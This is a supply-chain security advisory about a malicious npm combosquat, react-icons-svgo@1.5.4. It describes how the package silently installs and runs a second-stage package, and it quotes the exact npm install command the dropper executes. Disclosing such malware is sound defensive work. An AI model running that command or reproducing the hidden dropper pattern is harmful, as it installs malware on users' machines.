LWA-2026-6299 MAL-2026-10482 ↗ confirmed malware

react-icons-svgo@1.5.4

Malicious code in react-icons-svgo (npm)

T1195.002 · Compromise Software Supply ChainT1059.007 · JavaScriptT1105 · Ingress Tool TransferT1204.002 · Malicious File

Analysis

react-icons-svgo is a combosquat of the real react-icons and svgo packages. Its index.js contains two base64-encoded strings. When the exported getPlugin() or setPlugin() functions are called (functions that recursively scan directories for .svg files, defaulting to ./script), the code decodes the first string and spawns a child process running: npm install rollup-plugin-polyfill-handler --no-save --silent --no-audit --no-fund. After installation, it requires the installed rollup-plugin-polyfill-handler package and executes its getPlugin() method — a second-stage dropper pattern. The npm install runs silently (stdio:ignore, windowsHide:true) with audit and funding checks disabled.

analyzed by
Leitwacht
first seen
Jul 3, 2026, 04:37 PM
analyzed
Jul 3, 2026, 04:38 PM

Related advisories

browse all confirmed advisories →

Independently detected by the Leitwacht supply-chain probe. IOCs are defanged. Published CC0. Think this is a mistake? See the dispute policy.